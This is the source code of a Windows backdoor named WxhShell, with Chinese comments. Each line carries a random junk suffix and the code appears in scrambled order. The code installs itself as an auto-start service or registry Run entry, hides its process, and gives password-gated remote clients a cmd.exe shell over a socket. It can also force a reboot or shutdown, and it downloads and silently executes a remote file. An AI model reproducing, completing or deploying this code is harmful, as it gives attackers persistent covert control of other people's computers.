    if(Boot(SHUTDOWN)) qm@hD>W+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` (<>`  
    else { d"a`?+(Q  
    closesocket(wsh); &#.&xc2sRZ  
    ExitThread(0); j!pxG5%  
    } @P/{x@J  
    break; &bb*~W-  
    } on|>"F`pb  
  // 获取shell de[_T%A  
  case 's': { #=rI[KI  
    CmdShell(wsh); $ a7^3  
    closesocket(wsh); hQO~9mQ+!  
    ExitThread(0); kJ >B)  
    break; Y&?]t  
  } r38CPdE;}  
  // 退出 1Mqz+@~11  
  case 'x': { GS@ wG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xk9]jQ7  
    CloseIt(wsh); URwFNOM2  
    break; Im =E?t  
    } &Jz%L^  
  // 离开 m6}"g[nN  
  case 'q': { NH/H+7,o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ghz)=3  
    closesocket(wsh); @EvnV.  
    WSACleanup(); h fNBWN  
    exit(1); -.y3:^){^  
    break; IiL?@pIq  
        } <JlKtR&nSo  
  } fO+;%B  
  } va)\uXW.N  
-z@}:N-uR  
  // 提示信息 ZtiOf}@i\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &E~7ty'  
} @: NrC76  
  } _IGQ<U<z  
rB\UNXy  
  return; @eul~%B{X  
} . 2WZb_ B  
Wo%&,>]<H  
// shell模块句柄 f7L|Jc  
int CmdShell(SOCKET sock) Xc.~6nYp  
{ ^,50]uX_  
STARTUPINFO si; @/~41\=e  
ZeroMemory(&si,sizeof(si)); qe0@tKim  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {=kA8U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ITTC}  
PROCESS_INFORMATION ProcessInfo; v^pE= f*/  
char cmdline[]="cmd"; h^4oy^9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a)xN(xp##  
  return 0; ?mMd6U&J  
} 7be?=c)+"  
vwg\qKqSM  
// 自身启动模式 6Rso}hF}}  
int StartFromService(void) V%+KJ}S!Z  
{ FD8aO?wvg  
typedef struct E+_ }8J .  
{ "8N]1q:$4  
  DWORD ExitStatus; f -#fi7  
  DWORD PebBaseAddress; v{I:Wxe  
  DWORD AffinityMask; TE/2}XG)  
  DWORD BasePriority; }=++Lr4*  
  ULONG UniqueProcessId; m{' q(w}  
  ULONG InheritedFromUniqueProcessId; }b44^iL$9y  
}   PROCESS_BASIC_INFORMATION; E~24b0<7  
1}N5WBp  
PROCNTQSIP NtQueryInformationProcess; Z)HQlm  
5(,WN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sUA)I%Q!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P5Fm<f8\  
4&?%"2  
  HANDLE             hProcess; *Owq_)_ (|  
  PROCESS_BASIC_INFORMATION pbi; O32:j   
b2z~C{l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fw=-gb_.  
  if(NULL == hInst ) return 0; qsJo)SA  
Ly3^zF W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |*!I(wm2i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z\v\T|C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5}1cNp6@  
B1Xn <Wv  
  if (!NtQueryInformationProcess) return 0; H>VuUH|  
S\Q/ "Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g5H+2lSC  
  if(!hProcess) return 0; e+S%` Sg  
!X8:#a(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a7ZPV1k  
kfn5y#6NZ  
  CloseHandle(hProcess); k;"=y )@o  
h:l\kr|9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2;A].5>l  
if(hProcess==NULL) return 0; Rj-<tR{  
]NN9FM.2b/  
HMODULE hMod; gXG1w>  
char procName[255];  IF uz'  
unsigned long cbNeeded; Z$T1nm%lo:  
FFPO?y$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RTSg=    
G<$UcXg  
  CloseHandle(hProcess); JGJQ5zt  
@>JO &,od  
if(strstr(procName,"services")) return 1; // 以服务启动 R}*e%EG/  
m"`&FA  
  return 0; // 注册表启动 #lNi\Lw+j  
} ppS,9e-  
d!8`}L:=M  
// 主模块 ]XU?Wg  
int StartWxhshell(LPSTR lpCmdLine) z!eY=G'  
{ faThXq8B  
  SOCKET wsl; gVk_<;s  
BOOL val=TRUE; +oeO 0  
  int port=0; w$pBACX  
  struct sockaddr_in door; [CJ&Yz Ji  
0IxXhu6v  
  if(wscfg.ws_autoins) Install(); @2]_jW  
 z>hA1*Ti  
port=atoi(lpCmdLine);  |G{TA  
kE=}.  
if(port<=0) port=wscfg.ws_port; ^b'|`R+~}  
G!@tW`HO  
  WSADATA data; GYZzWN}U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (@~d9PvB>  
!XQG1!|ww  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YX,y7Uhn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); crUt8L-B4  
  door.sin_family = AF_INET; J6Cw1Pi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lQY?!oj&q  
  door.sin_port = htons(port); 5nQ*%u\$Z  
@MS;qoc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V`=#j[gX)=  
closesocket(wsl); h]&8hl_'m  
return 1; xn}sh[<:P  
} Av]<[ F/  
94LFElE3  
  if(listen(wsl,2) == INVALID_SOCKET) { 1W;q(#q  
closesocket(wsl); `A])4q$  
return 1; L@XhgQ  
} b&. o9PV"  
  Wxhshell(wsl); /X {:~*.z  
  WSACleanup(); 6MqJy6  
C|8.$s<  
return 0; LS*^TA(I[  
s9?klJg  
} a=T_I1  
aovRm|aOo'  
// 以NT服务方式启动 }>>lgW>n,;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t?iCq1  
{ v=$v*W  
DWORD   status = 0; ]z;%%'gW6  
  DWORD   specificError = 0xfffffff; p=V (_  
ggIz) </  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uAwT)km {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; );'8*e'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C A VqjT7  
  serviceStatus.dwWin32ExitCode     = 0; ^W{+?q'  
  serviceStatus.dwServiceSpecificExitCode = 0; iZ yhj%#  
  serviceStatus.dwCheckPoint       = 0; LcI,Dy|P  
  serviceStatus.dwWaitHint       = 0; 76(-!Z@=J  
TU&gj1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R&PQU/t)  
  if (hServiceStatusHandle==0) return; 4Bsx[~ u&  
8xW_N"P.>  
status = GetLastError(); B0T[[%~3M  
  if (status!=NO_ERROR) :$lx]  
{ )<nr;n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !c(B c^  
    serviceStatus.dwCheckPoint       = 0; 89?$xm_m  
    serviceStatus.dwWaitHint       = 0; *+{umfZy  
    serviceStatus.dwWin32ExitCode     = status; |t5K!?{i  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y<0 [_+(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LS}dt?78`V  
    return; /:iO:g1  
  } QK)"-y}"g  
ZaBGkDX5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3iMh)YH5b  
  serviceStatus.dwCheckPoint       = 0; sg RY`U.C  
  serviceStatus.dwWaitHint       = 0; ZnVi.s ~1V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pj4M|'F7  
} X`YAJG  
B[w~bW|K  
// 处理NT服务事件,比如:启动、停止 p)NhV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GSj04-T"  
{ sN.h>bd  
switch(fdwControl) 4 IuQQ  
{ C(qqGK{  
case SERVICE_CONTROL_STOP: x<W`2Du  
  serviceStatus.dwWin32ExitCode = 0; l$=Y(Xk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }@>=,A4Y  
  serviceStatus.dwCheckPoint   = 0; `'H"|WsT  
  serviceStatus.dwWaitHint     = 0; C%}}~Y  
  { @=B'<&g$Xv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )>abB?RZ  
  } :yO.Te F  
  return; u^&2T(xG i  
case SERVICE_CONTROL_PAUSE:  [R:\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?~s,O$o  
  break; xcz[w}{eEq  
case SERVICE_CONTROL_CONTINUE: Op%}.9ed  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H*BzwbM?  
  break; 8DHohhN  
case SERVICE_CONTROL_INTERROGATE: +dIDFSd  
  break; ('BFy>@  
}; OLp;eb1g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JFf*v6:,  
} 5RD\XgyN]  
$Kw)BnV  
// 标准应用程序主函数 R1u1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ". #=_/op  
{ T5(]/v,UT  
'i#m%D`dt  
// 获取操作系统版本 uH 1%diL^  
OsIsNt=GetOsVer(); f Glvx~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gu?O yL  
%GG:F^X#  
  // 从命令行安装 t ' _Au8  
  if(strpbrk(lpCmdLine,"iI")) Install(); p w(eWP  
r6k0=6i  
  // 下载执行文件 n%GlO KC  
if(wscfg.ws_downexe) { PEqO<a1Z8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~$xLR/{y  
  WinExec(wscfg.ws_filenam,SW_HIDE); WxwSb`U|  
} xrb %-vT  
Rrh?0qWs  
if(!OsIsNt) { \l)<NZ\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ODa+s>a`^  
HideProc(); [^sv.  
StartWxhshell(lpCmdLine); 0Yk@O) x  
} 5=]q+&y\H  
else r#ES|  
  if(StartFromService()) xDv5'IGBb  
  // 以服务方式启动 x|C[yu^c  
  StartServiceCtrlDispatcher(DispatchTable); I{#&!h>]U  
else y\ Su!?4!  
  // 普通方式启动 ;{'{*g[  
  StartWxhshell(lpCmdLine); 5MUM{(C  
1UG5Q-  
return 0; p4mlS  
} J?4aSssE  
Ws2SD6!4`  
!}%,rtI  
,9jq @_  
=========================================== sDNV_} h  
*j9{+yO{ZE  
FgA'X<  
)c~1s  
<k'JhMwN  
RW19I,d  
" ` O;+N"v  
?S&pq?   
#include <stdio.h> m2&"}bI{  
#include <string.h> 'wh2787  
#include <windows.h> 5m2`$y-nb  
#include <winsock2.h> fT)u`voE,  
#include <winsvc.h> ia=eFWt.  
#include <urlmon.h> i$MYR @  
\GA6;6%Oo  
#pragma comment (lib, "Ws2_32.lib") s%Ez/or(T  
#pragma comment (lib, "urlmon.lib") I{>U7i 5  
N$#518  
#define MAX_USER   100 // 最大客户端连接数 Z#H] yG  
#define BUF_SOCK   200 // sock buffer q:2Vw`g'  
#define KEY_BUFF   255 // 输入 buffer 9v[cy`\  
 cTpmklq  
#define REBOOT     0   // 重启 /B>p.%M[&  
#define SHUTDOWN   1   // 关机 8$Igo$U-  
FCO5SX#-g  
#define DEF_PORT   5000 // 监听端口 7+^9"k7  
F<SCW+>z2a  
#define REG_LEN     16   // 注册表键长度 |.kYomJ   
#define SVC_LEN     80   // NT服务名长度 Hj&mwn]  
pPr/r& r  
// 从dll定义API rHhn)m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] Tc!=SV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H"v3?g`S%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |0!oSNJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7)Zk:53]  
/58]{MfrJ  
// wxhshell配置信息 q:Lw!'Z h  
struct WSCFG { N^i<A2'6S;  
  int ws_port;         // 监听端口 r2:n wlG  
  char ws_passstr[REG_LEN]; // 口令 Ec !fx\  
  int ws_autoins;       // 安装标记, 1=yes 0=no GS),rNBur  
  char ws_regname[REG_LEN]; // 注册表键名 > Y7nq\  
  char ws_svcname[REG_LEN]; // 服务名 BLc&q)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GL4-v[]6I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a`SQcNBf*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S 6e<2G=O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o80?B~o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +RIG8w]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lgR;V]^YX  
}` &an$Mu  
}; wPhN_XV  
,SEC~)L  
// default Wxhshell configuration G/Ll4 :  
struct WSCFG wscfg={DEF_PORT, B+e$S%HV  
    "xuhuanlingzhe", u$T`Bn  
    1, 3&*_5<t\X  
    "Wxhshell", "YIrqk  
    "Wxhshell", \;"$Z 9W  
            "WxhShell Service", ?~G D^F  
    "Wrsky Windows CmdShell Service", X6_m&~}15  
    "Please Input Your Password: ", UdBP2lGd  
  1, \9[_*  
  "http://www.wrsky.com/wxhshell.exe", hVvPI1[2  
  "Wxhshell.exe" Z<7FF}i  
    }; -w8c;5X  
i21ybXA=Z  
// 消息定义模块 OyTEd5\3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /SLAg&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e_Cns&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HS1Gy/6'  
char *msg_ws_ext="\n\rExit."; U}9B wr^  
char *msg_ws_end="\n\rQuit."; A0L&p(i  
char *msg_ws_boot="\n\rReboot..."; q2qbbQ6H  
char *msg_ws_poff="\n\rShutdown..."; K \?b6;ea  
char *msg_ws_down="\n\rSave to "; vj?v7  
^1d"Rqtv  
char *msg_ws_err="\n\rErr!"; QBi&Q%piy  
char *msg_ws_ok="\n\rOK!"; o+U]=q*|)$  
1PwqW g-\\  
char ExeFile[MAX_PATH]; ]<3$Sx_{y  
int nUser = 0; qEd!g,Sx  
HANDLE handles[MAX_USER]; AEjkqG4qv  
int OsIsNt; ts2;?`~  
&r0b~RwUv  
SERVICE_STATUS       serviceStatus; ~N</;{}fL4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L%D:gy9o  
RS`]>K3t  
// 函数声明  '%! '1si  
int Install(void); g[P.lpi{U  
int Uninstall(void); k M/cD`  
int DownloadFile(char *sURL, SOCKET wsh); L0j&p[(r  
int Boot(int flag); etY/K0  
void HideProc(void); {? -@`FR-  
int GetOsVer(void); .SdHFWx  
int Wxhshell(SOCKET wsl); $`J'Y>`  
void TalkWithClient(void *cs); L\@SX?j  
int CmdShell(SOCKET sock); E1,Sr?'  
int StartFromService(void); 7C7eX J9q  
int StartWxhshell(LPSTR lpCmdLine); O0?.$f9 s  
NL})_.Og  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3U#z {%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \/8 I6a=  
9v7l@2/  
// 数据结构和表定义 *G{%]\s?  
SERVICE_TABLE_ENTRY DispatchTable[] = ?t LJe  
{ XY(3!>/eQ[  
{wscfg.ws_svcname, NTServiceMain}, 5w:   
{NULL, NULL} yGN@Hd:9  
}; Y6(I %hE`  
X2 {n&K  
// 自我安装 7%aaqQ1T  
int Install(void) #q2 cVN1  
{ ]ZkhQ%  
  char svExeFile[MAX_PATH]; j~+<~2%c  
  HKEY key; 4z~ fn9g  
  strcpy(svExeFile,ExeFile); INQ0h`T  
EYc, "'  
// 如果是win9x系统,修改注册表设为自启动 _c}@Fi+E  
if(!OsIsNt) { R-Y|;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *&VH!K#@{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u(ep$>[F#_  
  RegCloseKey(key); ]lj,GD)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -eKi}e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FI,>v`  
  RegCloseKey(key); *Vk%"rwaG  
  return 0; xFZA1 8  
    } PCl@Ff  
  } Vmj7`w&  
} % j],6wW5J  
else { ?b?`(JTR  
;k6>*wFl|!  
// 如果是NT以上系统,安装为系统服务 B~HA 32  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o XA3 i  
if (schSCManager!=0) |1d;0*HIgX  
{ }kg?A oo  
  SC_HANDLE schService = CreateService hQ!slO  
  ( ~RSOUrR  
  schSCManager, 0i}4T:J@`  
  wscfg.ws_svcname, K9v@L6pY=  
  wscfg.ws_svcdisp, hX#s3)87  
  SERVICE_ALL_ACCESS, J)O1)fR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3e UTV<!  
  SERVICE_AUTO_START, _D9` L&X}  
  SERVICE_ERROR_NORMAL, qx0RCP /s  
  svExeFile, ( yk^%  
  NULL, 7.4Q  
  NULL, \VL[,z=q.  
  NULL, O[ O`4de9  
  NULL, 9W$d'IA  
  NULL +QNFu){G  
  ); $~UQKv>  
  if (schService!=0) %JBFG.+  
  { G #.(% ,  
  CloseServiceHandle(schService); \VmqK&9   
  CloseServiceHandle(schSCManager); !a&@y#x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V|.3Z\(  
  strcat(svExeFile,wscfg.ws_svcname); [uxhdR`T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wT?.Mte  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G)28#aH  
  RegCloseKey(key); rK%<2i  
  return 0; ajIgL<x  
    } 5Z{h!}Y  
  } %AbA(F  
  CloseServiceHandle(schSCManager); J{$+\  
} +RexQE  
} x2B~1edf  
Sbub|  
return 1; td^2gjr^5  
} O_8ERxj g]  
aVv$k  
// 自我卸载 f(.@]eu X  
int Uninstall(void) reml|!F-)  
{ Sfc0 ~1  
  HKEY key; T1bPI/  
et";*EZJX  
if(!OsIsNt) { ,<$6-3sC-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;2"#X2B  
  RegDeleteValue(key,wscfg.ws_regname); l1^/Q~u  
  RegCloseKey(key); t59" [kQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ mm*S:Gt#  
  RegDeleteValue(key,wscfg.ws_regname); loVUB'OSv  
  RegCloseKey(key); [Af&K22M(X  
  return 0; a p-\R  
  } $"[1yQ<p  
} P+pL2BA  
} mIVnc`3s  
else { P<b.;Oz__-  
)'8DK$.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,)mqd2)+"  
if (schSCManager!=0) fII;t-(x  
{ t ?8 ?Ok  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dj*%^cI  
  if (schService!=0) ) |`eCzCB  
  { Q+|8|V}w  
  if(DeleteService(schService)!=0) { )&di c6r  
  CloseServiceHandle(schService); zI/)#^SQ  
  CloseServiceHandle(schSCManager); p2}$S@GD  
  return 0; <,qJ% kc  
  } dzDh V{  
  CloseServiceHandle(schService); I}/o`oc  
  } grEmp9Q ?  
  CloseServiceHandle(schSCManager); lyiBRMiP|  
} 4fBgmL  
} Iu6KW:x  
"'H$YhY]  
return 1; Ju$=Tn  
} _[8xq:G  
[^r0red  
// 从指定url下载文件 iorKS+w"  
int DownloadFile(char *sURL, SOCKET wsh) sZFIQ)b9  
{ ,j wU\xo`C  
  HRESULT hr; >E^?<}E~.  
char seps[]= "/"; <apsG7(7  
char *token; 8 [i#x|`g  
char *file; vQ=W<>1   
char myURL[MAX_PATH]; \a+F/I$hwa  
char myFILE[MAX_PATH]; ]#]m_+} Z  
Saa# Mj`M  
strcpy(myURL,sURL); \dj&4u3  
  token=strtok(myURL,seps); AfKJa DKf  
  while(token!=NULL) ~[XDK`B  
  { L%`~`3%n-  
    file=token; jI@0jxF  
  token=strtok(NULL,seps); -e#YWMo(  
  } B e+'&+  
{\22C `9t  
GetCurrentDirectory(MAX_PATH,myFILE); B]dHMLzl  
strcat(myFILE, "\\"); 3/8o)9f.  
strcat(myFILE, file); DQW^;Ls  
  send(wsh,myFILE,strlen(myFILE),0); m`C(y$8fU  
send(wsh,"...",3,0); V x1C4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j &)Xi^^  
  if(hr==S_OK) :P`sK&b_  
return 0; RC Fb&,51  
else GL&ri!,  
return 1; f9H;e(D9]  
]d?`3{h9LD  
} flTK  
XNwY\y  
// 系统电源模块 iRo UM.%  
int Boot(int flag) [7B:{sH  
{ $wU.GM$t~  
  HANDLE hToken; c38RE,4U  
  TOKEN_PRIVILEGES tkp; }Q_IqI[7  
P(G$@},W  
  if(OsIsNt) { +U&aK dQs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zR h1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h!56?4,%Y  
    tkp.PrivilegeCount = 1; Gxv@a   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F.c`0u;=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bTZ/$7pp9  
if(flag==REBOOT) { M $#zvcp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i+T#z  
  return 0; )hj77~{ +  
} 2D`@$)KL  
else { #*q`/O5n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P, !si#  
  return 0; 6XUcJ0  
} $s.:wc^  
  } _Hi;Y  
  else { o%h"gbvMY!  
if(flag==REBOOT) { N( E\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;RZ@t6^  
  return 0; 6FG h=~{3,  
} t,= ta{ a  
else { kH d_q.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zoj.F  
  return 0; a#FkoA~M  
} CyO2Z  
} p%,:U8fOR  
ElhTB  
return 1; *MW)APw=  
} UBuk-tq  
,WA7Kp9  
// win9x进程隐藏模块 1"A1bK  
void HideProc(void) qu BTRW9  
{ 0F=UZf&  
aUSxy8%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !uLAW_~  
  if ( hKernel != NULL ) @Ek''a$  
  { m9ts&b+TE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F6h3M~uR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K+Q81<X~  
    FreeLibrary(hKernel); UBqA[9  
  } D|Wekhm  
]B=B@UO@.  
return; <(`dU&&%"}  
} )5gcLD/zI  
^Tc&?\3  
// 获取操作系统版本 6kGIO$xJ)  
int GetOsVer(void) 5+rYk|*D+k  
{ 5tHv'@  
  OSVERSIONINFO winfo; OP]=MZP|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fJLlz$H  
  GetVersionEx(&winfo); (~xFd^W9o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &>0=v  
  return 1; 5^cPG" 4@  
  else 'x<gC"0A  
  return 0; X'.}#R1  
} p.TR1BHw  
\$ ^z.  
// 客户端句柄模块 \lCr~D5  
int Wxhshell(SOCKET wsl) &}32X-~y  
{ UoPd>q4Uj  
  SOCKET wsh; l>h%J,W  
  struct sockaddr_in client; c.6u)"@$  
  DWORD myID; fF[n?:VV  
|TF,Aj   
  while(nUser<MAX_USER) \D?6_ ,O  
{ f}^}d"&F  
  int nSize=sizeof(client); B<DvH"+$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l@Ma{*s6=5  
  if(wsh==INVALID_SOCKET) return 1; &WN4/=QW-J  
W*;~(hDz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $5yS`Iq S  
if(handles[nUser]==0) dG.s8r*?M  
  closesocket(wsh); H)t YxW  
else xB]~%nC[O  
  nUser++; 0z&3jWWY@  
  } $5r[YdnY<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VF!?B>  
#<0%_Ca  
  return 0; Hq$AF  
} !tCw)cou  
Yfk[mo  
// 关闭 socket Z/sB72K1  
void CloseIt(SOCKET wsh) K+dkImkh  
{ Z66akr  
closesocket(wsh); =#^%; 66z  
nUser--; mj[PKEdkB  
ExitThread(0); .oH0yNFX  
} zBay 3a  
~ 6 1?nu  
// 客户端请求句柄 dn$1OhN8M  
void TalkWithClient(void *cs) mC n,I  
{ A|CW4f,  
i&-g 0  
  SOCKET wsh=(SOCKET)cs; %Z 9<La  
  char pwd[SVC_LEN]; a-4'jT:  
  char cmd[KEY_BUFF]; R3d>|`) +  
char chr[1]; iN0pYqY*  
int i,j; `/f9 mn  
l?NRQTG  
  while (nUser < MAX_USER) { v#a`*^ ^  
WSn^P~vC  
if(wscfg.ws_passstr) { Z8(1QU,~2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {r`l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dI5Z*"`R9  
  //ZeroMemory(pwd,KEY_BUFF); <>A:Oi3^  
      i=0; Ljq/f& c  
  while(i<SVC_LEN) { C#emmg!a\  
mwZesSxB_  
  // 设置超时 {0q;:7Bt  
  fd_set FdRead; q5 I2dNE  
  struct timeval TimeOut; Zd1+ZH  
  FD_ZERO(&FdRead); %'kaNpBz  
  FD_SET(wsh,&FdRead); w8wF;:>  
  TimeOut.tv_sec=8; }.3F|H  
  TimeOut.tv_usec=0; ; @ h{-@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v/c8P\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :J@q Xa  
bEV 9l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H;k;%Zg;  
  pwd=chr[0]; HLg/=VF7?  
  if(chr[0]==0xd || chr[0]==0xa) { J|sX{/WT  
  pwd=0; 5znLpBX<N  
  break; 7B_;YT  
  } -9~kp'_a  
  i++; wp-5B= #:{  
    } TgSU}Mf)a  
$)mq  
  // 如果是非法用户,关闭 socket yHurt>8b[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6`]R)i]  
} $JypVA(CX  
:4}?%3&;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W,`u5gbT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7ks09Cy  
d@b0z$<s  
while(1) { Bz_['7D  
nSz Fs(]f  
  ZeroMemory(cmd,KEY_BUFF); QUaz;kNC7  
 @es}bKP  
      // 自动支持客户端 telnet标准   'd]9u9u  
  j=0; 7OS\j>hb~  
  while(j<KEY_BUFF) { y%|nE((  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VBF3N5 ;W  
  cmd[j]=chr[0]; qDqIy+WR  
  if(chr[0]==0xa || chr[0]==0xd) { RecA?-0  
  cmd[j]=0; G&0&*mp  
  break; k)'hNk"x  
  } zG[fPD  
  j++; FZ #ngrT  
    } X8ev uN  
[@";\C_I  
  // 下载文件 25l6@7q.  
  if(strstr(cmd,"http://")) { nR6~oB{-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  &{7n  
  if(DownloadFile(cmd,wsh)) L4zSro:Si  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vYL{5,t {1  
  else G`R Ed-Z[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YUF!Y9!  
  } la8se=^  
  else { 76c4~IG#  
e=%7tK*  
    switch(cmd[0]) { ""^9WLH4g-  
